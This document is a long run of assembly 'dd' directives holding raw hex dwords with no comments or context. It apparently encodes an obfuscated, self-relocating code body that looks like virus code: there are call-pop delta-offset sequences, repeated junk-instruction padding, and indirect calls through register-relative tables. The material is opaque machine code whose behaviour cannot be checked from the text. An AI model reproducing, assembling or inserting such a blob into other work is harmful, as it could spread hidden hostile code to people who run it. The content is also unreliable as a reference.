		dd 6860FAFh, 81000000h,	1F857ACFh, 1985FF27h, 3061014h
		dd 101281BDh, 5DBD8B06h, 0E9061029h, 798h, 0E8h, 0ED815D00h
		dd 61413E2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0BBC35343h, 5267489Fh, 6448D630h, 0C6BE66E8h, 55BD812Dh
		dd 0D0061000h, 0F000007h, 14686h, 9D8BF900h, 6100BA5h
		dd 4D7AEF81h, 0E381271Bh, 100h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0EEC35040h,	0CF11F9A9h, 7187E9FDh
		dd 0D9BD8B2Ah, 0B061013h, 94850FDBh, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0A658C352h, 66FA8B32h, 0BD83F78Bh, 6141222h,	11840F00h
		dd 0F000000h, 288h, 0E9FB8B00h,	67h, 0A85FBE66h, 122285C7h
		dd 10614h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8B2E32C3h, 950160F3h, 610003Dh
		dd 1D159589h, 0E9610610h, 27h, 12E9h, 569D8800h, 0D66171CCh
		dd 66C13A4Fh, 0FDBF7BF2h, 0C7786099h, 14122285h, 6, 44DF8100h
		dd 8D689EBAh, 100BA59Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 831950B6h, 0BD8960C3h
		dd 6102AF9h, 6E1BD8Bh, 81610610h, 0FFFEFF23h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 29958903h, 6606101Fh, 0B58BDB8Ch, 61030E5h, 0F04C3F6h
		dd 0A084h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0EC218E7Eh, 8B2C20DEh, 102D01B5h
		dd 0C995FF06h, 6A06100Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 3BB9C352h, 0FB78C1D4h
		dd 0FCAB0C93h, 2FD1B501h, 0E9900610h, 7, 0B1C8805Dh, 5003276Eh
		dd 12E890h, 45870000h, 13ADEE19h, 2717EC28h, 0F8B42962h
		dd 0D3B952A6h, 11E9h, 3F865300h, 0EE9E0B00h, 8A440664h
		dd 0D017DA9h, 0E95F4D7Eh, 5, 63CAF960h,	32FE91Eh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0D9D2B8C3h, 0F301120h, 888h,	28F0F00h, 60000000h, 24BE6661h
		dd 6000B0D3h, 2418D31h,	11E90610h, 2E000000h, 0EDFDEB2Ch
		dd 0E1831778h, 0B5723902h, 0ED54F972h, 8970E661h, 100125B5h
		dd 8DB58B06h, 0E406100Fh, 57006A71h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 96026C4Fh
		dd 8925F682h, 102885BDh, 0D8B60F06h, 6BAF9h, 8B520000h
		dd 1006FDB5h, 0C38B5F06h, 7F1BD33h, 0BD890610h,	6100525h
		dd 6A04E8C1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0E0EFC353h, 0FA6E9A01h, 65958920h
		dd 6606100Dh, 2BF5E2F7h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0DA97A265h, 50F08B93h
		dd 840Fh, 0F8930000h, 55B5FFh, 0BD8B0610h, 6100125h, 0C9BD8Bh
		dd 95FF0610h, 61031C9h,	14E8h, 7D119700h, 43AE5C79h, 0B12AE9D6h
		dd 39A23F58h, 7F5A10D2h, 7BE662Dh, 0B05EAAh, 1311B58Bh
		dd 70E60610h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	0C2C35040h, 8F0FCC2Bh, 6, 21CD9589h, 71E40610h
		dd 0D2941DBEh, 41953105h, 3C06102Fh, 0AA830F61h, 81000001h
		dd 640766EEh, 0D8B60F70h, 21E5B58Bh, 6BA0610h, 29000000h
		dd 101FC185h, 49B58B06h, 8B061005h, 50006AC3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 302C6DC0h
		dd 0DDB38E20h, 6A04E8C1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0DB8C352h, 6645D4AFh
		dd 69D6E681h, 81E2F766h, 0B4BB8ECEh, 60D82B0Bh,	8D00D081h
		dd 0FE8A5A3Eh, 89536061h, 101E81B5h, 0F98B5E06h, 0BD8B5861h
		dd 6103189h, 880FD82Bh,	10Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 24C35040h, 0D7F128DEh, 0BB60B408h
		dd 282E125Ch, 0B488BA66h, 118C0F61h, 0E9000000h, 0Ch, 0D2A55052h
		dd 317C4DA4h, 378B929h,	7B9h, 41BD2B00h, 83061031h, 6A00C1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0A9A7CDC3h, 13335250h, 8A0F9196h, 0
		dd 511526BEh, 0FD93B00h, 8486h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 309640FCh
		dd 2360E8EAh, 1010B19Dh, 0BD8D8B06h, 61061011h,	0FD98C66h
		dd 860FF1BFh, 6, 317DB58Bh, 0C1F60610h,	38840F04h, 0F000000h
		dd 95FFF6B7h, 6100DC9h,	8BF55BF8h, 100075BDh, 3DC32B06h
		dd 834h, 19860Fh, 29600000h, 103081BDh,	0B1B26006h, 0D38166h
		dd 0E96161E4h, 5, 8BF9B70Fh, 8BC38BC0h,	0C1BD89D8h, 0C7061021h
		dd 10287585h, 0D6D51B06h, 52006A18h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 89F18811h
		dd 101C819Dh, 6AC08B06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 2BF3C357h, 0C7F511DFh
		dd 0B58BD052h, 6103055h, 55BD81h, 7D00610h, 850F0000h
		dd 28h,	66C4BBBEh, 5585FF7Ch, 56061000h, 0FE8h,	0DC0100h
		dd 0AF682BCEh, 0F8BE79h, 5FA454CAh, 2269B52Bh, 5F5F0610h
		dd 55B5FFh, 6A0610h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 190424h, 56460000h, 0C1B7CBC3h, 0F160879h, 38Eh, 0F08B6600h
		dd 2A018D89h, 95FF0610h, 61031C9h, 799B58Bh, 6A900610h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0C897C357h, 8D8B603Eh, 6103071h, 8459D89h
		dd 60600610h, 14E961h, 3CB30000h, 10FF90D4h, 4399CC1h
		dd 150533ECh, 76DC6F6Dh, 61F810F9h, 6890F61h, 89000000h
		dd 10020DBDh, 95958906h, 6A06101Eh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 81BAC352h
		dd 0E94E2FFEh, 8D89ACB2h, 6100FE5h, 2151BD23h, 6E90610h
		dd 36000000h, 8D0703FCh, 57006A65h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 2460D564h, 238A0Fh, 8B600000h
		dd 1030EDBDh, 12E906h, 8DA60000h, 0FFB9F68Eh, 0F1FBA6C3h
		dd 3D0AF920h, 0E49373CBh, 61CBB70Fh, 51006AFCh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0F88B3FBFh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DAC35141h
		dd 7436998Bh, 514F20B7h, 30E1B58Bh, 0E95E0610h,	0FFFFF884h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 2DC35242h
		dd 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 2A9E2FC3h, 0EE264AA0h, 0B589B0BCh, 6100EEDh
		dd 4EBh, 95890000h, 6101149h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0B5C35747h,	337646D1h, 0B9858D77h
		dd 0F061013h, 884h, 8C0F5700h, 0
		dd 489505Fh, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0BC4D64CBh, 89238199h, 1005B185h
		dd 0D5852906h, 6A061011h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 7F712244h
		dd 535E4FBAh, 0DCBE6688h, 19B501EFh, 6A061016h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 90C68246h, 84E4B291h, 20959D01h, 0BD310610h,	610190Dh
		dd 1D81858Dh, 0C0830614h, 905F5705h, 50F98B66h,	4A7BE60h
		dd 8B667372h, 6A9061DAh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 1500C350h, 0C96785FAh
		dd 8E9h, 63490F00h, 417674E7h, 6A006AF9h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 4D75C356h
		dd 3475BF43h, 6880FD5h,	29000000h, 10158195h, 6A006A06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0BB3CC355h, 2282CABEh, 8B2A04CFh,	1995FFF3h
		dd 6A06101Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 76E4C351h, 26B26B71h, 0D89D8D46h
		dd 890613AFh, 1016CD8Dh, 6AD3FF06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 3699C356h
		dd 4F20B774h, 0BD8B43E4h, 61032C5h, 141985FFh, 0BD330610h
		dd 61014B1h, 8B2E9h, 0E800h, 815D0000h,	141D8BEDh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 306410DCh, 0BF662688h, 0BD81BB67h, 6100055h,	7D0h, 19D860Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0AB4FCDC3h, 0BD8B95E9h, 6101A95h,	1685BD2Bh
		dd 95310610h, 610327Dh,	419D8Bh, 6A0610h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 96A58CC3h
		dd 0E999A103h, 10h, 238AE67Bh, 35B99C41h, 0E5A2B325h, 3AEE7C74h
		dd 100E381h, 0F560000h,	587h, 0C002BF00h, 0B5E3D9Ah, 0B4850FDBh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0F456C357h, 1B36D6A6h,	13E8h
		dd 95207D00h, 0C6C35FABh, 0B0EED2B7h, 20D48C44h, 0F96A1082h
		dd 5E9h, 28B63400h, 835E2B19h, 141BA3BDh, 840F0006h, 31h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 75C35747h
		dd 960AE95h, 100DC5BDh,	0F9B70F06h, 5EE961h, 0BF0F0000h
		dd 0A385C7F0h, 106141Bh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0BDEC350h
		dd 536221ACh, 2BE9h, 0C7F78B00h, 141BA385h, 6, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 5F504C14h, 419D8Dh, 0E6810610h, 4FA655BFh, 0FEFF2381h
		dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0D2368FC3h, 0D1BD8B57h, 66061005h, 0B58BDB8Ch
		dd 610108Dh, 0F04C3F6h,	8284h, 14E900h,	0E4370000h, 0DC3315EBh
		dd 0A5D28C1Ah, 4E2AC4DCh, 22E5087Eh, 8A0F3048h,	0
		dd 0DC995FFh, 11E80610h, 0E2000000h, 0B5FFDB6Fh, 0B469DADDh
		dd 0AC9ACFB8h, 9DB80286h, 0E853905Fh, 0Fh, 0F1C6E5A4h
		dd 0A387B05h, 61A06736h, 668A6CF7h, 5E5FF88Bh, 65B96050h
		dd 610BA188h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0D9BD8B1Ch, 0E906102Eh, 3D0h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 15C35747h, 0CD4D0743h
		dd 0E0D719BCh, 56BE6699h, 0D3B86083h, 233FBC72h, 1008E18Dh
		dd 0B06106h, 32CF8166h,	29BD8B0Fh, 0E6061023h, 50006A70h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 897754BBh, 101C15BDh, 0F7816606h, 71E459BBh,	1DA1BD8Bh
		dd 0B60F0610h, 69BD8BD8h, 0BA06101Ah, 6, 13E9h,	0B7373800h
		dd 0C25F640Dh, 33DC1A8Ch, 47894075h, 0B2C4EC8h,	6AC38Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 4059A4C3h, 607AC70Dh, 0E9600D13h, 0Dh, 568DFEEFh, 461323FCh
		dd 616078D0h, 23BE6637h, 0E8C161C8h, 52006A04h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 8A452EC7h
		dd 8BE2F766h, 1005F9B5h, 0FB8B6606h, 11E8D82Bh,	0A0000000h
		dd 7E045FCh, 8A8BBDC0h,	47405356h, 4A9B64C9h, 6830Fh, 0B5010000h
		dd 610085Dh, 7EBF505Eh,	8911EBAAh, 6A241Ch, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 539B72C3h
		dd 7599D09h, 0FF5F0610h, 100055B5h, 25B58B06h, 0FF06102Fh
		dd 1031C995h, 6DB58906h, 0B006100Dh, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 816615E0h
		dd 0E62CF3EFh, 0BE71E470h, 36056A57h, 2785B589h, 613C0610h
		dd 222830Fh, 0BF660000h, 0B60FAF5Dh, 0C5B58BD8h, 0BA061031h
		dd 6, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h, 15h
		dd 2C35040h, 0F6B70F93h, 956C38Bh, 101CB19Dh, 8B665E06h
		dd 4E8C1FEh, 0CE9h, 10AA9900h, 118BD202h, 98F8E689h, 0E2F76647h
		dd 11E8h, 3CFEBC00h, 3C6C7171h,	6DCE6A5Fh, 13EF131Ah, 2B5F4B92h
		dd 51006AD8h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0F9BF0F4Ah, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 35F07499h
		dd 0C2760726h, 8B666C7Dh, 0FD82BF1h, 16388h, 4820F00h
		dd 66000000h, 0B92B9BBFh, 7, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0F5C35343h,	0BD8B98E8h, 610076Dh
		dd 6A00C183h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 58B3C355h, 0BB279621h,	0D93BEFBBh
		dd 102860Fh, 0B52B0000h, 6101BC1h, 6AD98C66h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 4AB2C352h, 9589CD50h, 6101A91h, 0F04C1F6h, 0A884h, 8D296000h
		dd 6101A5Dh, 0C995FF61h, 5B06100Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0BAC35343h,	0BE0E66D5h, 27A5546h
		dd 6AC32Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0F2D0E0C3h, 9E8F2B5h, 1E000000h, 352F2BA3h
		dd 7E9DE03Bh, 81BD8960h, 8B06102Ah, 100125B5h, 3D5E6106h
		dd 834h, 2B860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 555361C3h, 29E9BFF4h
		dd 29000000h, 102F718Dh, 6AC08B06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0F2C9C351h
		dd 3FD16C54h, 0D88BC38Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 92C35646h, 723DBB51h,	0C7F219F1h, 100BA585h
		dd 318BF106h, 57006A5Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 56F98B4Fh, 619D8960h, 89061023h
		dd 1016C18Dh, 8B5F6106h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0E0D719BCh, 55BD81h, 7D00610h
		dd 850F0000h, 48h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0A2C35545h, 0B021EA1Bh, 0AE831h, 0CCC80000h
		dd 52488483h, 0A8ABB0DBh, 6ED8D781h, 2B5E3560h,	101EE9B5h
		dd 5585FF06h, 0BE061000h, 25C58FA4h, 55B5FFh, 81660610h
		dd 0FF1430EFh, 1031C995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 35453BF8h
		dd 2F20D759h, 6FE082BFh, 6A9057h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 2E3D3FC3h, 0E8292E83h
		dd 7E95Ch, 1EF30000h, 63B314B0h, 0CE991h, 0D79C0000h, 3D91358Dh
		dd 74048140h, 6A853Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0C4DD67C3h, 8D096015h, 6102995h
		dd 2F39BD01h, 8B610610h, 0D6B460F9h, 0DB58960h,	0E9061028h
		dd 0Ch,	0D586D9E0h, 0DEF1F1DAh,	0D8849313h, 11DD8D8Bh
		dd 81610610h, 4534DBDFh, 6A610Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 97BC23C3h, 298D8904h
		dd 66061019h, 0E85B70BEh, 0Dh, 0E3B63133h, 9EEA1618h, 0D9AAA83Fh
		dd 9D952948h, 89061007h, 101659BDh, 6A5E06h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8E9E3C3h
		dd 71000000h, 6DDC97Eh,	8B46E8E3h, 13E9FAh, 43F20000h
		dd 7E27A3FAh, 2E300A7h,	0E5054333h, 0BD7C795Dh,	1D9589EFh
		dd 0E9061028h, 0FFFFF779h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0A2C35545h, 26E484CFh, 40AA2950h, 81BD2974h
		dd 8B06101Eh, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 2816D6C6h, 4296C2F9h, 10E88Fh, 5D100000h
		dd 0D1524EF6h, 779CD725h, 50452C70h, 0DE8168FEh, 3996A8EAh
		dd 4EB5Fh, 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 18AFC352h, 5F507142h, 1F1D9D89h
		dd 858D0610h, 61013B9h,	7E8h, 0EF60C600h, 2A680066h, 11E8h
		dd 8B6A4A00h, 0F6C4A889h, 0E8465B27h, 0C5FEF7B3h, 0B589678Ch
		dd 6100925h, 13E95F5Fh,	43000000h, 5C881676h, 5C2F9C2Fh
		dd 903DE104h, 0EB6C86EEh, 6690F4BDh, 5050FB8Bh,	0AE852h
		dd 4DC40000h, 0C232C59Ch, 0E85B8161h, 0E3F827BEh, 310F5F79h
		dd 6A90585Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 2986C353h, 227DBD01h, 6A0610h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 3EC35242h
		dd 168D3EF5h, 6585B015h, 81BD8B2Ch, 6A06102Eh, 0F1D4BE00h
		dd 858D756Ah, 61427DAh,	31744CBFh, 5C08327h, 840F5090h
		dd 3, 90FA8B66h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 17h,	39C35242h, 6A2AFC8Fh, 5EF55600h, 0E681006Ah, 8AB0715h
		dd 2A8DBD09h, 95FF0610h, 6101D19h, 1B75B529h, 9D8D0610h
		dd 613AFD8h, 12658531h,	0D3FF0610h, 0B70F5653h,	0FF5E5FF8h
		dd 10141985h, 813E906h,	0E80000h, 5D000000h, 27E4ED81h
		dd 0B70F0614h, 0B19531FEh, 81061001h, 100055BDh, 7D006h
		dd 2B860F00h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 4773C356h, 0CB53AF02h
		dd 0D90C0939h, 0F9DE8166h, 7D9D8B94h, 29061029h, 101B1D8Dh
		dd 0E38106h, 66000001h,	0DB0BFB8Bh, 9D850Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0BD8BFDC3h, 6102815h, 83FB8B66h, 14267CBDh, 840F0006h
		dd 38h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh
		dd 67C35545h, 0C9EEBDF5h, 0E98F8CEDh, 51h, 0BE9h, 85562400h
		dd 3886B28Bh, 0EEF56EEFh, 267C85C7h, 10614h, 0B58B0000h
		dd 6101481h, 2CE9h, 9D896000h, 610309Dh, 11E9h,	2018FD00h
		dd 0B6D40AA6h, 324B2D08h, 65116F18h, 0C7618330h, 14267C85h
		dd 6, 70BF6600h, 7D9D8DEEh, 81061029h, 0CB7286DFh, 0FF238145h
		dd 6AFFFFFEh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0F142C353h, 8D34AD49h,	0F7D4724h
		dd 8C66F9BFh, 55006ADBh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 51D5F790h, 157C1134h, 0B260521Eh
		dd 61E18ABEh, 0FDBD8B5Fh, 0F606102Ah, 840F04C3h, 72h, 0DC995FFh
		dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 2EBAFCC3h, 880E05C2h, 8D8960A4h, 6100B8Dh
		dd 6D56EF81h, 90610135h, 5350F78Bh, 6A905Eh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0E96030C3h
		dd 0Fh,	0F22DF9DDh, 249CB630h, 0A84B5B4h, 0B310B0DAh, 0DE9610Fh
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 1E95C350h, 0B5059322h,	0F0F9966Bh
		dd 108D8529h, 0B00610h,	5359D01h, 70E60610h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0EAC35242h, 82BF9946h
		dd 2B34F3F2h, 10087DB5h, 5271E406h, 1695BD8Bh, 665F0610h
		dd 0F71F3BFh, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 7DF31C3h, 0F3969E9h, 6BAh, 0E9C38B00h
		dd 9, 541B94D6h, 298F0C97h, 4E8C17Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0DEC35343h,	0FDB58BA1h, 0F061001h
		dd 38Dh, 0F0B70F00h, 6AE2F766h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 9719C350h, 11DDA27Bh
		dd 8964126Bh, 10142D8Dh, 6AD82B06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 41FAC352h
		dd 19878115h, 3BE8838h,	5069DCD4h, 11E9h, 9310C100h, 4074A9F3h
		dd 0E4351E5Eh, 0EA385BF1h, 1C890AA0h, 52006A24h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 209A1BB2h, 66B151C8h, 4D5FEF81h, 0FFFFB70Fh,	100055B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 87073DAh, 850F89D7h, 1, 0C995FFF9h, 6A061031h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 9188C355h, 0B5332F1Ah, 6100805h, 1FF1BD89h
		dd 0B00610h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	9C35545h, 99CB7383h, 11E9h, 378A7200h, 93EB3A99h
		dd 0DDD2343Ch, 0C0A36D01h, 70E62039h, 0A122BE66h, 6A71E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0BF804AC3h, 0F90882E8h, 613C4AE2h, 1D2830Fh,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0E97BB4C3h, 3C2D0B45h, 66D8B60Fh, 0C45DF81h,	6BAh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0D9792071h, 0F69B58Bh, 0C38B0610h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0D0C35242h,	0AEB82D8Fh, 54BE6607h
		dd 4E8C101h, 29B9B58Bh,	0F7660610h, 5CBF66E2h, 59BD0B94h
		dd 2B061021h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0D4807909h, 0EFFDCD74h, 9D95895Dh
		dd 58061008h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	1C35040h, 2BEAD191h, 0ED880FD8h, 8B000000h, 1011DDBDh
		dd 7B906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0AE88C8C3h, 0AC8F6917h, 0CE9A5h
		dd 0CB490000h, 0F12DFE8Fh, 7ED09C22h, 5BBF061Ah, 8355A657h
		dd 8B6600C1h, 0FD93BF8h, 9B86h,	21B58B00h, 6606101Eh, 0CE9D98Ch
		dd 59000000h, 0BE7A2DB1h, 0EC2CA9FBh, 0F62D593Bh, 840F04C1h
		dd 55h,	7A64BF66h, 95FF5F52h, 6100DC9h,	3DECBE66h, 0F781665Bh
		dd 81667B1Ah, 2BED8FD7h, 50006AC3h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0E72A8FB7h, 4F0CD715h
		dd 8343Dh, 0A860F00h, 0E9000000h, 28h, 0F1B70F57h, 6AC08B5Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 66A8C353h, 3E86F681h, 0D88BC38Bh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 36C35343h, 20169E43h
		dd 85C74974h, 6100041h,	521E0B13h, 0EDD8509h, 8D0F0610h
		dd 6, 8952CE81h, 0C08B781Ch, 6840Fh, 85010000h,	6101395h
		dd 55BD81h, 7D00610h, 850F0000h, 2Ah, 5585FFh, 6A0610h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 7C2C59C3h, 3ECDC766h, 0B5FFD995h, 6100055h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 89C35040h, 5C556B62h
		dd 0C995FF6Ah, 89061031h, 1029E995h, 8B669006h,	58BE66F3h
		dd 5D8D8925h, 8B061013h, 101E71BDh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0E96ED1ADh
		dd 0Ch,	8F330EBEh, 0FAEC5DD6h, 28C1A416h, 6AFB8Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0A6F984C3h, 0DB640941h, 81664AD2h, 946BEEEh,	10117595h
		dd 0FEBF0F06h, 1715B531h, 8E0F0610h, 9,	2D219D89h, 8B660610h
		dd 5860FFBh, 0BF000000h, 79151FB9h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0FAC35747h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 16h, 64C35141h, 6060B220h
		dd 0B2EA8166h, 0F18D8BC4h, 5706100Bh, 0EDB86659h, 880F61CEh
		dd 3, 8ACEB70Fh, 9D8961F1h, 6101BD5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 89C35747h, 2B551838h, 395BE0C9h
		dd 0DE9F9h, 0BF610000h,	8DC2E6C3h, 940550F2h, 8961BE40h
		dd 101D518Dh, 0F7F8E906h, 7BFFFFFh, 8B213245h, 10126DB5h
		dd 6A6006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 973AFDC3h, 38C3B962h, 16C1B531h, 0FEB90610h
		dd 6AFFFFFFh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 333C353h, 86EAEE2Ch, 0DE8120h
